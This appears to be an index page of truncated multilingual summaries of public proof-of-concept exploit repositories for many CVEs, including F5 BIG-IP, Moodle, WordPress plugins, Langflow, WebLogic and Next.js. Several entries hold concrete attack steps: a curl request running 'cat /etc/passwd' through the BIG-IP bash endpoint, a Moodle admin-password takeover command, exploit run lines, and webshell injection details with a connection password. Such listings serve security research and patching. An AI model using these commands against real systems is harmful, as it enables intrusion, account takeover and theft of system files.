CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE 확인 스크립트 CVE-2022-1388 RCEF5 BIG-IP를 확인하는 간단한 bash 스크립트입니다. + 사용법: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC 익스플로잇 IP 주소를 변경하는 것을 잊지 마세요. curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H "Connection: keep-alive,...

CVE-2018-20580

CVE-2018-20580 ReadyAPI 2.5.0/2.6.0 원격 코드 실행과 상호작용에 대한 개념 증명PoC 소개 2018년 12월, ReadyAPI에서 새로운 취약점을 발견했습니다. 이 취약점은 공격자가 로컬 시스템에서 원격 코드를 실행할 수 있게 하여 개발자, 침투 테스터 등 ReadyAPI 사용자를 위험에 빠뜨립니다. ReadyAPI는 사용자가 SOAP 프로젝트를 열고 WSDL 파일을 가져와 원격 서버와 쉽게 통신할 수 있도록 해줍니다. WSDL 파일 소유자는 일부 매개변수의 기본값을 지정할 수 있습니다. 공격자는...

CVE-2021-36394

CVE-2021-36394 테이블 업데이트 또는 관리자 비밀번호 변경: 사용자 지정 코드 $newpassword = "Accounttakedover123"; 그런 다음 실행: $ CVE2021-36394.php http://victim/pathtomoodle 함수 실행 사용자 지정 코드 $function = "header"; $param = "Hacked: by0d0ff9"; 그런 다음 실행: $ CVE2021-36394RCE.php http://victim/pathtomoodle 데모:...

CVE-2020-24186-wpDiscuz-7.0.4-RCE

POC CVE-2020-24186-wpDiscuz-7.0.4-RCE WordPress wpDiscuz 7.0.4 원격 코드 실행 gVectors wpDiscuz 플러그인 7.0부터 7.0.4까지의 WordPress용 버전에 원격 코드 실행 취약점이 존재합니다. 이 취약점을 통해 인증되지 않은 사용자가 wmuUploadFiles AJAX 액션을 통해 PHP 파일을 포함한 모든 유형의 파일을 업로드할 수 있습니다. 익스플로잇 사용법 명령: Windows/Linux: $ sudo python3...

CVE-2019-9978

CVE-2019-9978 - Social Warfare WordPressプラグイン RCE system'cat /etc/passwd' ✅ ステップ2 – Python HTTPサーバーを起動 Pythonを使用してペイロードを提供します： python3 -m http.server 8000 これにより、payload.txtが次のURLでアクセス可能になります： http://:8000/payload.txt ✅ ステップ3 – エクスプロイトを実行 python3 CVE-2019-9978.py --target http:///wordpress ...

CVE-2024-4577-RCE

PHP CGI 参数注入 CVE-2024-4577 远程代码执行 📜 描述 在 PHP 8.1.（8.1.29 之前）、8.2. （8.2.20 之前）、8.3.（8.3.8 之前）版本中，当在 Windows 上使用 Apache 和 PHP-CGI 时，如果系统设置为使用某些代码页，Windows 可能会使用“最佳适配”行为来替换传递给 Win32 API 函数的命令行中的字符。PHP CGI 模块可能会将这些字符错误解释为 PHP 选项，从而允许恶意用户向正在运行的 PHP 二进制文件传递选项，进而泄露脚本源代码、在服务器上执行任意 PHP 代码等。 “XAMPP...

CVE-2022-39197-POC

CVE-2022-39197-POC 중국어 버전READMECN.md 취약점 소개 CobaltStrike가 9월 20일에 공식 출시한 최신 버전 4.7.1의 Update Log에 따르면, teamserver 버전 저희는 'Beichendream'이라는 독립 연구원으로부터 팀 서버에서 발견된 XSS 취약점에 대해 연락을 받았습니다. 이는 공격자가 Beacon 구성에 잘못된 사용자 이름을 설정하여 원격으로 RCE 코드를 실행할 수 있게 합니다. POC 소개 현재 이 POC는 teamserver 폭탄 이미지만 구현할 수 있습니다...

CVE-2024-9264

CVE-2024-9264 - Grafana SQL Expressions DuckDB LFI/RCE PoC CVE-2024-9264 は、Grafana プロセスの PATH に duckdb が存在する場合に、認証済みのローカルファイルインクルージョンとコマンド実行を可能にする Grafana SQL Expressions の脆弱性です。これはその Python による概念実証 PoC です。 認可されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 機能 authenticated...

Next.js-RCE-Scanner-BurpSuite-Extension-

CVE-2025-55182 Next.js RCE Burp 拡張プラグイン 機能 パッシブスキャン : Burp を通過するすべての Next.js サイトを自動検出 メモリコードインジェクション v2.2 New! ターゲットリクエストを右クリックし、AntSword メモリコードを注入 を選択。GET および POST の両方のタイプのメモリコードをサポート。 接続アドレス : http://target/qaz 接続パスワード : nb エンコーダー : default（特定のエンコーダーは不要） インジェクション成功後、AntSword...

CVE-2023-3519

CVE-2023-3519 このNucleiテンプレートは、ターゲットWebサーバーにCVE-2023-3519の脆弱性が存在するかどうかをチェックします。 脆弱性 CVE-2023-3519は、Citrix Application Delivery Controller ADCおよびGatewayアプライアンスにおいて、認証なしでリモートコード実行を可能にする脆弱性です。攻撃者は、影響を受けるシステムに特別に細工されたリクエストを送信することで、この脆弱性を悪用できます。...

CVE-2025-3248

CVE-2025-3248 ★ CVE-2025-3248 Langflow RCE PoC ★ 실습 환경 구성 docker pull langflowai/langflow:1.2.0 docker run -d --name CVE-2025-3248 -p 7860:7860 langflowai/langflow:1.2.0 localhost:7860 설명 1.3.0 미만의 Langflow 버전은 /api/v1/validate/code 엔드포인트에서 코드 삽입에 취약합니다. 원격의 인증되지 않은 공격자가 조작된 HTTP 요청을 보내 임의 코드를 실행...

CVE-2024-51567

CVE-2024-51567 익스플로잇 스크립트 CVE-2024-51567 은 CyberPanel v2.3.6에 영향을 미치는 심각한 명령 삽입 취약점인 CVE-2024-51567 에 대한 Python 개념 증명PoC 익스플로잇 스크립트입니다. 이 취약점은 upgrademysqlstatus 엔드포인트에서 발견되었으며, CSRF 보호를 우회하고 특정 매개변수에서 셸 메타 문자를 사용하여 원격 명령 실행RCE을 가능하게 합니다. ⚠️ 중요 고지 : 이 스크립트는 교육 목적과 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템에 대한...

WordPress_4.9.8_RCE_POC

概要 WordPress RCE（author 権限）の簡単なPoCです。CVE-2019-8942 および CVE-2019-8943 を参照してください。 影響を受けるバージョン WordPress " 3. WPScan で現在のテーマを検出する wpscan -u -et。例: wordpress 4.9.8 のデフォルトでは twentyseventeen 4. ペイロード画像ファイル poc.jpg をアップロードする author アカウントでログインします; ダッシュボードの Media - Add New をクリックして poc.jpg ファイルをアップロードします;...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC 在 CVE-2025-59287 内部：WSUS 中的 SoapFormatter RCE：https://shellcode.blog/wsus-cve-2025-59287-investigation/ 本软件纯粹出于学术研究和开发有效防御技术的目的而创建，除非明确授权，否则不得用于攻击系统。项目维护者不对软件的滥用负责。请负责任地使用。 用法 必需标志： --target-url – 目标 WSUS 服务器基础 URL，例如 http://WIN-246JC0TE3BB.vuln.local:8530 --cv...

CVE-2024-44902

CVE-2024-44902 脆弱性の説明 Thinkphp v6.1.3 から v8.0.4 における逆シリアル化の脆弱性により、攻撃者は任意のコードを実行できます。 影響を受けるバージョン Thinkphp v6.1.3 から v8.0.4 エクスプロイト条件 thinkphpフレームワークにMemcached拡張機能がインストールされている必要があります。 脆弱性の確認 テスト環境: php8.0.7+thinkphp8.0.4+memcached3.2.0 まず、app\controller\Index.php に新しい逆シリアル化エンドポイントを追加します。例: padding...

CVE-2024-23739

CVE-2024-23739 macOS上のDiscord 0.0.291までのバージョンにおける問題により、リモート攻撃者がRunAsNodeおよびenableNodeClilnspectArguments設定を介して任意のコードを実行できます。 Electronの脆弱性を自動的に検索するためのツールがあります: https://github.com/r3ggi/electroniz3r このツールを使用すると、アプリが脆弱かどうかを確認できます: 検証後、コードを注入してシェルを取得できます。 シェルをお楽しみください :...

cve-2024-49113-ldap_nightmare_reproduction

CVE-2024-49113 — LDAP Nightmare Windows LDAP クライアントのリモートコード実行（ヒープベースのバッファオーバーフロー） 項目| 値 ---|--- CVE| CVE-2024-49113 エイリアス| LDAP Nightmare CVSS 3.1| 9.8 — 緊急 CWE| CWE-122 — ヒープベースのバッファオーバーフロー 発見者| SafeBreach（2025年1月に PoC を公開） 悪用状況| 実環境での活発な悪用が確認済み パッチ| Microsoft 2024年12月 Patch Tuesday（KB5048685 /...

cve-2025-55182-react2shell_reproduction

CVE-2025-55182 — React2Shell CVSS 10.0 CRITICAL | React Server Components における事前認証リモートコード実行 中国の脅威アクターによって発見されました。中国に関連する APT グループによって積極的に悪用されています。 概要 「React2Shell」 と名付けられたこの脆弱性は、React Server Components RSC の「Flight」プロトコルにおける安全でない逆シリアル化を通じて、認証なしのリモートコード実行を可能にします。悪用は極めて簡単で、認証は不要です。 技術的詳細 RSC Flight...

CVE-2018-14667-poc

CVE-2018-14667-poc Richfaces 취약점 환경 및 PoC 타겟 환경: vulenvironment 디렉토리의 war 파일을 tomcat에 바로 배포하면 됩니다. PoC build:build artifactId run:java -jar CVE-2018-14667-poc.jar "cmd" 디버그 관련 vulenvironment 디렉토리 아래 war 파일의 압축을 풀고, IDEA에서 임포트한 후, tomcat의 lib를 library path에 추가합니다. 요청 예시: GET...

CVE-2024-20931

CVE-2024-20931 CVE-2024-20931 は、Oracle WebLogic の CVE-2023-21839 のパッチをバイパスするものです。 使用方法: JNDI をセットアップします。https://github.com/WhiteHSBG/JNDIExploit/ の特定のものを使用してください。 エクスプロイト: java -jar CVE-2024-20931.jar Please input target IP:127.0.0.1 Please input target port:7001 Please input RMI...